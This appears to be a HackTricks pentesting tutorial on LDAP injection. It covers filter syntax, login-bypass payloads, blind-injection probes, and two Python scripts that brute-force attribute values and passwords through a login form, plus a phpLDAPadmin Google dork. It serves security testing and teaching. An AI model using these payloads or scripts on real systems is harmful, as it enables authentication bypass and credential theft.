255 lines
9.2 KiB
Markdown
255 lines
9.2 KiB
Markdown
# LDAP Injection
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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{% hint style="danger" %}
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<img src="../.gitbook/assets/image (620) (2) (1) (1) (2).png" alt="" data-size="original">
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**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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{% endhint %}
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# LDAP Injection
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## **LDAP**
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**If you want to know what is LDAP access the following page:**
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{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
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[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
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{% endcontent-ref %}
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**LDAP Injection** is an attack used to **exploit** **web** based applications that construct **LDAP** **statements** based on **user** **input**. When an application **fails** to properly **sanitize** user input, it's possible to modify LDAP statements using a local proxy.
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{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
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**Filter** = ( filtercomp )\
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**Filtercomp** = and / or / not / item\
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**And** = & filterlist\
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**Or** = |filterlist\
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**Not** = ! filter\
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**Filterlist** = 1\*filter\
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**Item**= simple / present / substring\
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**Simple** = attr filtertype assertionvalue\
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**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
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**Present** = attr = \*\
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**Substring** = attr ”=” \[initial] \* \[final]\
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**Initial** = assertionvalue\
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**Final** = assertionvalue\
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**(&)** = Absolute TRUE\
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**(|)** = Absolute FALSE
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For example:\
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`(&(!(objectClass=Impresoras))(uid=s*))`\
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`(&(objectClass=user)(uid=*))`
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You can access to the database, and this can content information of a lot of different types.
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**OpenLDAP**: If 2 filters arrive, only executes the first one.\
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**ADAM or Microsoft LDS**: With 2 filters they throw an error.\
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**SunOne Directory Server 5.0**: Execute both filters.
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**It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.**
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The filter has to start with: `&` or `|`\
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Example: `(&(directory=val1)(folder=public))`
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`(&(objectClass=VALUE1)(type=Epson*))`\
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`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
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Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed).
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## Login Bypass
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LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
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```bash
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user=*
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password=*
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--> (&(user=*)(password=*))
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# The asterisks are great in LDAPi
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```
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```bash
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user=*)(&
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password=*)(&
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--> (&(user=*)(&)(password=*)(&))
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```
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```bash
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user=*)(|(&
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pass=pwd)
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--> (&(user=*)(|(&)(pass=pwd))
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```
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```bash
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user=*)(|(password=*
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password=test)
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--> (&(user=*)(|(password=*)(password=test))
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```
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```bash
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user=*))%00
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pass=any
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--> (&(user=*))%00 --> Nothing more is executed
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```
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```bash
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user=admin)(&)
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password=pwd
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--> (&(user=admin)(&))(password=pwd) #Can through an error
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```
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```bash
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username = admin)(!(&(|
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pass = any))
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--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
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```
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```bash
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username=*
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password=*)(&
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--> (&(user=*)(password=*)(&))
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```
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```bash
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username=admin))(|(|
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password=any
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--> (&(uid=admin)) (| (|) (webpassword=any))
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```
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### Lists
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* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
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* [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
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* [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
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## Blind LDAP Injection
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You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
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```bash
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#This will result on True, so some information will be shown
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Payload: *)(objectClass=*))(&objectClass=void
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Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
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```
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```bash
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#This will result on True, so no information will be returned or shown
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Payload: void)(objectClass=void))(&objectClass=void
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Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
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```
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### Dump data
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You can iterate over the ascii letters, digits and symbols:
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```bash
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(&(sn=administrator)(password=*)) : OK
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(&(sn=administrator)(password=A*)) : KO
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(&(sn=administrator)(password=B*)) : KO
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...
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(&(sn=administrator)(password=M*)) : OK
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(&(sn=administrator)(password=MA*)) : KO
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(&(sn=administrator)(password=MB*)) : KO
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...
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```
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## Scripts
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### **Discover valid LDAP fields**
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LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
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```python
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#!/usr/bin/python3
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import requests
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import string
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from time import sleep
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import sys
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proxy = { "http": "localhost:8080" }
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url = "http://10.10.10.10/login.php"
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alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
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attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
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for attribute in attributes: #Extract all attributes
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value = ""
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finish = False
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while not finish:
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for char in alphabet: #In each possition test each possible printable char
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query = f"*)({attribute}={value}{char}*"
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data = {'login':query, 'password':'bla'}
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r = requests.post(url, data=data, proxies=proxy)
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sys.stdout.write(f"\r{attribute}: {value}{char}")
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#sleep(0.5) #Avoid brute-force bans
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if "Cannot login" in r.text:
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value += str(char)
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break
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if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
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finish = True
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print()
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```
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### **Special Blind LDAP Injection (without "\*")**
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```python
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#!/usr/bin/python3
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import requests, string
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alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
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flag = ""
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for i in range(50):
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print("[i] Looking for number " + str(i))
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for char in alphabet:
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r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
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if ("TRUE CONDITION" in r.text):
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flag += char
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print("[+] Flag: " + flag)
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break
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```
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## Google Dorks
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```bash
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intitle:"phpLDAPadmin" inurl:cmd.php
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```
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## More Payloads
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[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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